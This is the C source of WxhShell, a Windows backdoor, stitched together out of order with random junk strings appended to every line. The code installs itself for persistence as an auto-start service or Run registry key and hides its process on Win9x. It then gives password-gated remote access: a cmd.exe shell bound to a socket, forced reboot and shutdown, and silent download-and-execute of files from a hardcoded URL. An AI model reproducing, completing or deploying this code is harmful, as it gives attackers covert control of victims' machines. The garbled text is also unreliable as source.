    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1fpQLaT  
    if(Boot(SHUTDOWN)) ZzSz%z_sE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \--8lH -K  
    else { 'Iw NTM  
    closesocket(wsh); C#Na&m  
    ExitThread(0); {GQ^fu;q  
    } N<XNTf  
    break; x^y'P<ypw  
    } c-(UhN3WG  
  // 获取shell [5SD_dN  
  case 's': { YB2VcF.LU  
    CmdShell(wsh); ?vbvBu{a  
    closesocket(wsh); h-` }L=  
    ExitThread(0); [D\k^h  
    break; `~By)?cT_>  
  } f=WDR m]  
  // 退出 NU5.o$  
  case 'x': { ;EP:o%r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H" 3fT0  
    CloseIt(wsh); uFinv2Z '  
    break; !WQ-=0cm  
    } vVFy*#I#_[  
  // 离开 Al} B34.uh  
  case 'q': { D=-SO +  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rE.;g^4p  
    closesocket(wsh); 6[ j.@[t  
    WSACleanup(); t*1fLumXR  
    exit(1); ).`1+b  
    break; 3cK I  
        } n'E(y)9|  
  } s;01u_  
  } U@uGNMKR  
LnH?dy  
  // 提示信息 CVL3VT1j0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3u*4o=4e  
} w"-Lc4t+  
  } R6;=n"Ueb  
"Q@ronP(~  
  return; ) l:[^$=,  
} Y)*#)f  
5B3G @KR  
// shell模块句柄 P3+5?.p.  
int CmdShell(SOCKET sock) $_"'&zQ'  
{ )rn*iJ.e8  
STARTUPINFO si; 'vbsvT  
ZeroMemory(&si,sizeof(si)); f!Y?S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1\ o59Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Yg%I?  
PROCESS_INFORMATION ProcessInfo; v&DI`xn~  
char cmdline[]="cmd"; r*2+xDoEi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ug>~Rq]  
  return 0; `ZYoA t]C~  
} _<n~n]%  
H%qsjB^  
// 自身启动模式 lk/n}bx  
int StartFromService(void) dyz2.ZY~2  
{ b[r8 e  
typedef struct 2Q/x@aT,h  
{ PS)4 I&;U  
  DWORD ExitStatus; %aG5F}S2~  
  DWORD PebBaseAddress; 1F5XvQl  
  DWORD AffinityMask; }"nItcp.1  
  DWORD BasePriority; CM/H9Kz.  
  ULONG UniqueProcessId; 8g@<d ^8@  
  ULONG InheritedFromUniqueProcessId; ^cOUQ33  
}   PROCESS_BASIC_INFORMATION; 7Haa;2 T'  
b6 cBg  
PROCNTQSIP NtQueryInformationProcess; gh/EU/~d  
py$Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ePOG}k($/%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kvL=> A  
[<lHCQXJ/  
  HANDLE             hProcess; Z;h t  
  PROCESS_BASIC_INFORMATION pbi; Fco`^kql.D  
q}i]'7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !a{^=#qq&I  
  if(NULL == hInst ) return 0; nHM~  
h{)kQLuzT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [g7L&`f9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [>jbhV'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lUOF4U&r  
|U:k,YH  
  if (!NtQueryInformationProcess) return 0; hi_NOx  
_F6OM5F"N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ot4 Z{mA  
  if(!hProcess) return 0; {DV_* 5  
"M<8UE\n  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %^?fMeI|Y  
/Wi[OT14  
  CloseHandle(hProcess); 3atBX5  
Kr?TxhUHd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4X!/hI=jq  
if(hProcess==NULL) return 0; xs{3pkTYD  
RVZ")Z(  
HMODULE hMod; %v=*Wb\3|  
char procName[255]; dcDyK!zz"  
unsigned long cbNeeded; \Z?9{J  
${<%" hR$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]Z>}6!  
)MtF23k)g  
  CloseHandle(hProcess); y%&q/tk  
g{7.r-uu  
if(strstr(procName,"services")) return 1; // 以服务启动 W/=.@JjI  
=rMUov h  
  return 0; // 注册表启动 PIJr{6B/PA  
} F8nYV  
/fKx} }g)  
// 主模块 =J18eH!]  
int StartWxhshell(LPSTR lpCmdLine) '*Z1tDFS  
{ zN[hkmh  
  SOCKET wsl; +! ]zA4x  
BOOL val=TRUE; pI1-cV,`  
  int port=0; U&g@.,Y#  
  struct sockaddr_in door; )cX*I gO  
h}>"j%I  
  if(wscfg.ws_autoins) Install(); j%Y#(Q>  
-Fi`Z$  
port=atoi(lpCmdLine); [meO[otb  
/74QMx?  
if(port<=0) port=wscfg.ws_port; 8f_l}k$Eg  
46}g7skD  
  WSADATA data; ?so=;gh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2A']y D  
fJ=0HNmX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ](Xb _xMf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f- K+]aZ)  
  door.sin_family = AF_INET; HSw;^E)1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m~w[~flgZ  
  door.sin_port = htons(port); RaO-H  
P:hBt\5B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I:E`PZ  
closesocket(wsl); {yBs7[Wn  
return 1; Fh)IgzFj  
} L\37xJo  
jkQ*D(;p  
  if(listen(wsl,2) == INVALID_SOCKET) { 55G+;  
closesocket(wsl); loEPr5 bL  
return 1; aacpM[{f  
} gl~ecc  
  Wxhshell(wsl); S:u:z=:r  
  WSACleanup(); :>rkG?NfL  
D+#E -8  
return 0; H!@kO]?n  
KsddA  
} b\ X@gq  
!({}(!P .  
// 以NT服务方式启动 ?'IP4z;y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )n1_(;  
{ b k~( ^!R  
DWORD   status = 0; q'+)t7!  
  DWORD   specificError = 0xfffffff; t;){D:]k  
u/UrAqw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z/G ev"p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l\f*d6o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O8f?; ]  
  serviceStatus.dwWin32ExitCode     = 0; l(yZO$  
  serviceStatus.dwServiceSpecificExitCode = 0; oxr#7Ei0d  
  serviceStatus.dwCheckPoint       = 0; @MoKWfc  
  serviceStatus.dwWaitHint       = 0; HUcq% .  
H h4WMZJG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f<GhkDPm>?  
  if (hServiceStatusHandle==0) return; %Wg'i!?cB  
LhN|1f:9:  
status = GetLastError(); md+nj{Ib  
  if (status!=NO_ERROR) @<,X0S  
{ aasoW\UG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3N 8t`N  
    serviceStatus.dwCheckPoint       = 0; QemyCCP+  
    serviceStatus.dwWaitHint       = 0; SfA\}@3  
    serviceStatus.dwWin32ExitCode     = status; \TIT:1  
    serviceStatus.dwServiceSpecificExitCode = specificError; "<6G6?sz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K~uXO  
    return; 2{D{sa  
  } :X"?kK0V  
 vx\r!]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w?3p';C  
  serviceStatus.dwCheckPoint       = 0; Y2|#V#  
  serviceStatus.dwWaitHint       = 0; "33Fv9C#bK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {]*c29b>  
} `CBZhI%%  
H[m:0eF'5  
// 处理NT服务事件,比如:启动、停止 m&xW6!x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a Ve'ry  
{ Q}`0W[a ~  
switch(fdwControl) dW_KU}  
{ \@Ts+7%  
case SERVICE_CONTROL_STOP: <qtr   
  serviceStatus.dwWin32ExitCode = 0; B#exHf8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z-BXd  
  serviceStatus.dwCheckPoint   = 0; u6?Q3 bvI  
  serviceStatus.dwWaitHint     = 0; 'g6\CZw(#  
  { :uP,f<=)K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i=ea ?eT`  
  } C](f>)Dz /  
  return; fA&k`L(y  
case SERVICE_CONTROL_PAUSE: # Nk;4:[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z[LNf.)}  
  break; ? 8)'oMD  
case SERVICE_CONTROL_CONTINUE: wHzEMwY_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;"KJ7p  
  break; k\wW##=v  
case SERVICE_CONTROL_INTERROGATE: b v G/|U  
  break;  >d*iD  
}; \@WDV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =w;F<M|Y  
} ,f<?;z  
FI[A[*fi  
// 标准应用程序主函数 BYpG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -1 FPkp  
{ 83E7k]7]  
>5_2_Y$"  
// 获取操作系统版本 ATJWO 1CtB  
OsIsNt=GetOsVer(); dpJ_r>NI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }]e-{C}  
E d"h16j?z  
  // 从命令行安装 kEJj=wx  
  if(strpbrk(lpCmdLine,"iI")) Install(); f) znTJL  
dUsYZdQs  
  // 下载执行文件 5}:-h>  
if(wscfg.ws_downexe) { 4F)-"ck  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) `lQ3C{}  
  WinExec(wscfg.ws_filenam,SW_HIDE); >,TUZ  
} 34z"Pm  
rw: c  
if(!OsIsNt) { .}&` TU  
// 如果时win9x,隐藏进程并且设置为注册表启动 Cf TfL3(J  
HideProc(); 'w!Cn>  
StartWxhshell(lpCmdLine); ?: N @!jeJ  
} "k/;[ Wt]  
else SFO({w(  
  if(StartFromService()) ->sm+H-*  
  // 以服务方式启动 _  <WJ7  
  StartServiceCtrlDispatcher(DispatchTable); U@g4w!$r  
else Q7*SE%H  
  // 普通方式启动 b8~Bazk  
  StartWxhshell(lpCmdLine); ;fsZ7k4]do  
tro7Di2Q  
return 0; n.T&}ZPz\v  
} os,* 3WO  
~kShq%  
@<&5J7fb  
ZZ k=E4aae  
=========================================== >Nvjl~o5  
]or>?{4g  
e91aK  
m=?KZ?U`  
&f"-d  
vu|n<  
" |k+8<\  
5i> $]*o  
#include <stdio.h> p!>oo1&  
#include <string.h> ]+(6,ct&.  
#include <windows.h> }v Z+A  
#include <winsock2.h> y<HO:kZ8`  
#include <winsvc.h> .P;*Dws  
#include <urlmon.h> X*M#FT-  
q;QbUO  
#pragma comment (lib, "Ws2_32.lib") !u_Y7i3^  
#pragma comment (lib, "urlmon.lib") (5#nrF]  
_&N2'hG=sn  
#define MAX_USER   100 // 最大客户端连接数 =4[v 3Qx  
#define BUF_SOCK   200 // sock buffer |zR8rqBX;  
#define KEY_BUFF   255 // 输入 buffer 9^,Lc1"M>  
crqpV F]1]  
#define REBOOT     0   // 重启 %1H[Wh(U  
#define SHUTDOWN   1   // 关机 &QDW9 Mi  
]%|GmtqZs,  
#define DEF_PORT   5000 // 监听端口 1 y-y6q  
*RXbc~ H  
#define REG_LEN     16   // 注册表键长度 {jYOs l  
#define SVC_LEN     80   // NT服务名长度 jJuW-(/4[  
BB~OqZIP  
// 从dll定义API hg+X(0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "kMguK}c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r9 ui|>U"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T{Sb^-H#X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); enp)-nS0  
5Cq{XcXV  
// wxhshell配置信息 Au4yBm u  
struct WSCFG { F{eU";D  
  int ws_port;         // 监听端口 LM7$}#$R  
  char ws_passstr[REG_LEN]; // 口令 ^1Zeb$Nw'  
  int ws_autoins;       // 安装标记, 1=yes 0=no QAvir%Y9Q  
  char ws_regname[REG_LEN]; // 注册表键名 YN`H BFH  
  char ws_svcname[REG_LEN]; // 服务名 r:F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t%'Z<DmG+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O [i#9)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E-I-0h2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hjIT_{mk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  ))&;}2{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zipS ]YD  
@6mBqcE'?  
}; .Fnwm}  
&_"]5/"(  
// default Wxhshell configuration jBU4F~1y  
struct WSCFG wscfg={DEF_PORT, $OP7l>KZY  
    "xuhuanlingzhe", Td G!&:>  
    1, |!"2fI  
    "Wxhshell", l2l(_$@3  
    "Wxhshell", 6(G?MW.  
            "WxhShell Service", ^4,a8`  
    "Wrsky Windows CmdShell Service", U2`'qsR1  
    "Please Input Your Password: ", rk7QZVE  
  1, L+CyQq  
  "http://www.wrsky.com/wxhshell.exe", "g' jPwFG  
  "Wxhshell.exe" x\J#]d.  
    }; K91)qI;BD  
!zPa_`P  
// 消息定义模块 tkXEHsRT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'Er:a?88l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N_pJk2E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lWqrU1Sjl  
char *msg_ws_ext="\n\rExit."; BRk0CLr5  
char *msg_ws_end="\n\rQuit."; <<i3r|}  
char *msg_ws_boot="\n\rReboot..."; NMww>80  
char *msg_ws_poff="\n\rShutdown..."; \[jq4`\$  
char *msg_ws_down="\n\rSave to "; 5!EJxP9  
8HRmQ  
char *msg_ws_err="\n\rErr!"; (s{RnD  
char *msg_ws_ok="\n\rOK!"; Oi:<~E[kz.  
[-)r5Dsdq  
char ExeFile[MAX_PATH]; Op>%?W8/UF  
int nUser = 0; TEMw8@b  
HANDLE handles[MAX_USER]; .N*Pl(<[  
int OsIsNt; bd<m%OM""  
$2u 'N:o  
SERVICE_STATUS       serviceStatus; jiYmb8Q4D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'sxNDnGg  
Qu7T[ <  
// 函数声明 'w14sr%  
int Install(void); me'd6!O9-  
int Uninstall(void); v*9<c{a  
int DownloadFile(char *sURL, SOCKET wsh); n_B"- n  
int Boot(int flag); P1NJ^rX  
void HideProc(void); BSkDpr1C  
int GetOsVer(void); l983vKr  
int Wxhshell(SOCKET wsl); <a[Yk 2  
void TalkWithClient(void *cs); 4[BG#  
int CmdShell(SOCKET sock); ~j-cS J3  
int StartFromService(void); aDehqP6vf  
int StartWxhshell(LPSTR lpCmdLine); JMVNmq&0  
=i(?deR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =+x yI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E"L2&.  
UThB7(O,  
// 数据结构和表定义 \tRG1&{$%  
SERVICE_TABLE_ENTRY DispatchTable[] = iR\Hv'|  
{ CT\;xt,S  
{wscfg.ws_svcname, NTServiceMain}, Raw)9tUt  
{NULL, NULL} VL[kJi   
}; &<+ A((/i  
nN~~cV  
// 自我安装 @rHK( 25+d  
int Install(void) r)T:7zy  
{ ?\#N9 +{W  
  char svExeFile[MAX_PATH]; i@][rdhT  
  HKEY key; *#TYqCc+g  
  strcpy(svExeFile,ExeFile); 9<vWcq*4  
LPwT^zV&N  
// 如果是win9x系统,修改注册表设为自启动 4:7V./" 9  
if(!OsIsNt) { C_ \q?>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fS:1^A2,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X{^}\,cVtG  
  RegCloseKey(key); < Z|Ep1W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .@"q$\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >I<r)w]  
  RegCloseKey(key); i%{3W:!4t  
  return 0; S2>c#BQ  
    } zFQ&5@43  
  } ~Xlrvb}LP  
} {} Bf   
else { *0_yT$  
DOz\n|8S  
// 如果是NT以上系统,安装为系统服务 A!vCb 8(TX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IG?'zppjd6  
if (schSCManager!=0) yIb,,!y9{  
{ +f0~D(d!_  
  SC_HANDLE schService = CreateService 5[{*{^F4  
  ( 7n o5b] \  
  schSCManager, ^>?CMcN4*  
  wscfg.ws_svcname, S?{ /hy  
  wscfg.ws_svcdisp, =H8 xSJLh  
  SERVICE_ALL_ACCESS, L'i-fM[#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IZ3{>N V  
  SERVICE_AUTO_START, dx,=Rd5'  
  SERVICE_ERROR_NORMAL, 0e[d=)XG  
  svExeFile, ^+SkCO  
  NULL, Og%U  
  NULL, Sb".]>^  
  NULL, `Y40w#?uW  
  NULL, Lz DI0a.  
  NULL %~NH0oFO  
  ); YHV-|UNF  
  if (schService!=0) pbHsR^  
  { Y`6rEA0  
  CloseServiceHandle(schService); OndhLLz  
  CloseServiceHandle(schSCManager); k#}g,0@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QIB>rQCceo  
  strcat(svExeFile,wscfg.ws_svcname); hIJ)MZU|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qP*}.Sqk7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jy2IZ o  
  RegCloseKey(key); %OcGdbs  
  return 0;  \4ghYQ:  
    } uqyB5V0gh  
  } ;oH ,~|K  
  CloseServiceHandle(schSCManager); <uP^-bv;(  
} w'7R4  
} <ZPZk'53<f  
"4}wnu6/  
return 1; &&RA4  
} /r$&]C:Fi  
M StX*Zw  
// 自我卸载 M[Y4_$k<-  
int Uninstall(void) B1T5f1;uY  
{ Q^h5">P  
  HKEY key; w{7 ji}  
b 6W#SpCF  
if(!OsIsNt) { iK}v`xq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WVL#s?=g  
  RegDeleteValue(key,wscfg.ws_regname); !;}2F-  
  RegCloseKey(key); =Lw3 \5l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *%- ?54B  
  RegDeleteValue(key,wscfg.ws_regname); 5j [#'3TSU  
  RegCloseKey(key); af>3V(7  
  return 0; r\mPIr|  
  } _`aR_ %Gx  
} i!~>\r\6\  
} Zq?_dIX %  
else { #MM &BC  
i:Mc(mW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x0x $  9  
if (schSCManager!=0) t"YIq/08  
{ /?3:X *  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l P0k:  
  if (schService!=0) [ -12]3  
  { rt.[,m  
  if(DeleteService(schService)!=0) { IA4+ad'\E  
  CloseServiceHandle(schService); ZlM_ m >,o  
  CloseServiceHandle(schSCManager); _7 `E[&v  
  return 0; 7\/u&  
  } ?'+8[OHiF^  
  CloseServiceHandle(schService); |BJqy/  
  }  ^@q#$/z  
  CloseServiceHandle(schSCManager); hO;9Y|y  
} cs5ix"1A  
} \\iK'|5YG  
 ~^7  
return 1; 2fBYT4*P;  
} Iv1c4"  
U$09p;~$Ww  
// 从指定url下载文件 rIPl6,w~  
int DownloadFile(char *sURL, SOCKET wsh) IDmsz  
{ Xoi9d1fO  
  HRESULT hr; &fHc"-U}  
char seps[]= "/"; &G=0  
char *token; $O]^Xm3{@  
char *file; ReqE?CeV  
char myURL[MAX_PATH]; ]c,l5u}A$  
char myFILE[MAX_PATH]; K Dz]wNf  
C$ hQN  
strcpy(myURL,sURL); N4+g("  
  token=strtok(myURL,seps); /sH0x,V  
  while(token!=NULL) S ]b xQa+  
  { xx6S`R6:  
    file=token; H CuK  
  token=strtok(NULL,seps);  L,%Z9  
  } /[L)tj7B  
F%y{% C7l  
GetCurrentDirectory(MAX_PATH,myFILE); F b2p(.  
strcat(myFILE, "\\"); 8iOO1I?+  
strcat(myFILE, file); 6*V8k%H  
  send(wsh,myFILE,strlen(myFILE),0); #\0TxG5'QA  
send(wsh,"...",3,0); ;6zPiaDQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )ZeLaaP  
  if(hr==S_OK) YkVRl [  
return 0; m/KjJ"s,  
else l)%mqW%  
return 1; e %&  
*H?t;,\  
} 8eN%sm  
IF^[^^v+H  
// 系统电源模块 M!-q}5';  
int Boot(int flag) !&\meS{  
{ bbO+%-(X  
  HANDLE hToken; r /^'Xj'(  
  TOKEN_PRIVILEGES tkp; s ?5 d  
s v6INe:  
  if(OsIsNt) { DYkC'+TEX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c'xUJhEL  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >b3@>W  
    tkp.PrivilegeCount = 1; +fPNen4E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $>EqH?EQ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4YBf ~Pp  
if(flag==REBOOT) { fHLFeSfH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  &Q<EfB  
  return 0; q$3HvZP  
} >Sh0dFqeT  
else { oy`3r5g   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o}d2N/T  
  return 0; ]}_p3W "Y9  
} _d/GdeLs  
  } F{kG  
  else { gYRqqV  
if(flag==REBOOT) { +yt6.L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4(m/D>6:  
  return 0; 8 f|9W%jt  
} z9I1RX V  
else { 5sG ]3z+1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eB)UXOu1  
  return 0; "$# $f  
} G[ ,,L  
} owP6dtd)  
\MfR #k0  
return 1; 11PLH0  
} 3S;>ki4(0  
Bi'I18<  
// win9x进程隐藏模块 .%|OGl ?  
void HideProc(void) <{3q{VW*  
{ 1!K !oY  
"(9=h@@Y"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~vO'p  
  if ( hKernel != NULL ) y.L|rRe@P  
  { C~3@M<X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ]H@v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aa%Yk"V @  
    FreeLibrary(hKernel); T3=-UYx]  
  } #p11D= @[  
,e}mR>i=e  
return; 8#[%?}tK  
} V#n?&-{V  
+OV%B .  
// 获取操作系统版本 @h,h=X  
int GetOsVer(void) g?k#wj1uH  
{ 6)tB{:h&~0  
  OSVERSIONINFO winfo; ' [7C~r{%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,U} 5  
  GetVersionEx(&winfo); g_-?h&W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NgDZ4&L  
  return 1; /6Jy'"+'0  
  else 7]<F>97  
  return 0; s!nSE  
} mR!&.R?  
1{;[q3a  
// 客户端句柄模块 h^.tom g8  
int Wxhshell(SOCKET wsl) LOyCx/n  
{ %_%f# S  
  SOCKET wsh; ai<MsQQ:=  
  struct sockaddr_in client; /e j/&x15  
  DWORD myID; ILu0J`;}  
{7ZtOe  
  while(nUser<MAX_USER) $Hl+iF4j<  
{ m=("N  
  int nSize=sizeof(client); #NVF\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E'Fv *UA  
  if(wsh==INVALID_SOCKET) return 1; O=!)})YG  
6x (L&>F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~t.WwxY+  
if(handles[nUser]==0)  01UR  
  closesocket(wsh); O[5_ 9W 4  
else J;Z>fAE7  
  nUser++; eD` ,  
  } jU3;jm.)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7am/X.  
6Mf3)o2  
  return 0; ac+k 5K+  
} _L `N^I.  
P(YG@  
// 关闭 socket "Wn?8vR  
void CloseIt(SOCKET wsh) x(/@Pt2B  
{ =|WV^0=S'%  
closesocket(wsh); DS,FVh".|  
nUser--; 8#d1}Y  
ExitThread(0); +~i+k~{`H  
} sP3.s_U^  
yV+ E;  
// 客户端请求句柄 P9tQS"Rs  
void TalkWithClient(void *cs) R6WgA@Z|r  
{ ,Dii?P  
eV {FcJha  
  SOCKET wsh=(SOCKET)cs; X\$W'^np  
  char pwd[SVC_LEN]; Jn <^Q7N  
  char cmd[KEY_BUFF]; !$KhL.4P  
char chr[1]; $ DZQdhv  
int i,j; TXh@  
N;`[R>Z~  
  while (nUser < MAX_USER) { eDM0417O(  
mTuB*  
if(wscfg.ws_passstr) {  \#+2;L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5q_OuZ/6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =[)N6XV3  
  //ZeroMemory(pwd,KEY_BUFF); @gqs4cg{f  
      i=0; ?"8A^ ^  
  while(i<SVC_LEN) { `2mbF ^-4  
#!d^3iB2  
  // 设置超时 < 8 Y<w|Hh  
  fd_set FdRead; =Z>V}`n  
  struct timeval TimeOut; k@";i4}A  
  FD_ZERO(&FdRead); 2eR+dT  
  FD_SET(wsh,&FdRead); (~pEro]?+)  
  TimeOut.tv_sec=8; e9_O/iN  
  TimeOut.tv_usec=0; >5@vY?QXO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i(f;'fb*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `)C`_g3Ew  
FvNSu"O~K1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S. F=$z.%  
  pwd=chr[0]; nM.?Q}yO~  
  if(chr[0]==0xd || chr[0]==0xa) { -^jLU FC  
  pwd=0; h. (;GJO  
  break; ocuVDC  
  } &P{p\v2Y  
  i++; c'#J{3d  
    } HFx"fT  
:6k DUFj}  
  // 如果是非法用户,关闭 socket @oc%4~zl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;1g-z]  
} fYQi#0drn  
V =aoB Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Xw[i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8!%"/*P$  
kbT-Oz  2  
while(1) { ,Ho.O7H  
IZv, Wo  
  ZeroMemory(cmd,KEY_BUFF); 7C?mD75j  
2d;xAX]  
      // 自动支持客户端 telnet标准   RGA*7  
  j=0; p+sPCF  
  while(j<KEY_BUFF) { V\`= "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d<'Yt|zt  
  cmd[j]=chr[0]; ^RAFmM#F  
  if(chr[0]==0xa || chr[0]==0xd) { 0#/ 6P&6  
  cmd[j]=0; g7z9i[  
  break; 1LIV/l^}f  
  } n9/0W%X>  
  j++; :;WDPRx  
    } k\<Ln w  
EM w(%}8w  
  // 下载文件 %e<dV\x?T  
  if(strstr(cmd,"http://")) { 5 ^z ,'C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *=9#tYn~  
  if(DownloadFile(cmd,wsh)) b-zX3R;  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :QL p`s  
  else dsZ ( D:)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >@Vr'kg+V  
  } []3}(8yxGb  
  else { +* {5ORq=  
